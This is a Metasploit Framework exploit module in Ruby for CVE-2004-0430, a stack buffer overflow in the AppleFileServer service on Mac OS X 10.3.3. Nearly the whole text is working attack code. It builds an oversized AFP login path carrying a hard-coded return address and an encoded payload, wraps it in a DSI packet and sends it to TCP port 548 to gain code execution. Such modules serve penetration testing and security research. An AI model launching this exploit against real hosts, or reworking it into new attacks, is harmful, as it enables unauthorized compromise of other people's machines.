AppleFileServer (OSX) – LoginExt PathName Overflow (Metasploit)
## # $Id: loginext.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'AppleFileServer LoginExt PathName Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the AppleFileServer service on MacOS X. This vulnerability was originally reported by Atstake and was actually one of the few useful advisories ever published by that company. You only have one chance to exploit this bug. This particular exploit uses a stack-based return address that will only work under optimal conditions. }, 'Author' => 'hdm', 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2004-0430'], [ 'OSVDB', '5762'], [ 'BID', '10271'], ], 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x20", 'MinNops' => 128, 'Compat' => { 'ConnectionType' => "+find" } }, 'Targets' => [ # Target 0 [ 'Mac OS X 10.3.3', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Ret' => 0xf0101c0c # stack address :< }, ], ], 'DisclosureDate' => 'May 3 2004')) # Configure the default port to be AFP register_options( [ Opt::RPORT(548), ], self.class) end def exploit connect print_status("Trying target #{target.name}...") path = "\xff" * 1024 path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret) path[172, payload.encoded.length] = payload.encoded # The AFP header afp = "\x3f\x00\x00\x00" # Add the authentication methods ["AFP3.1", "Cleartxt Passwrd"].each { |m| afp << [m.length].pack('C') + m } # Add the user type and afp path afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9) afp << "\x03" + [path.length].pack('n') + path # Add the data stream interface header dsi = [ 0, # Flags 2, # Command rand(65536), # XID 0, # Data Offset afp.length, # Data Length 0 # Reserved ].pack("CCnNNN") + afp sock.put(dsi) handler disconnect end end |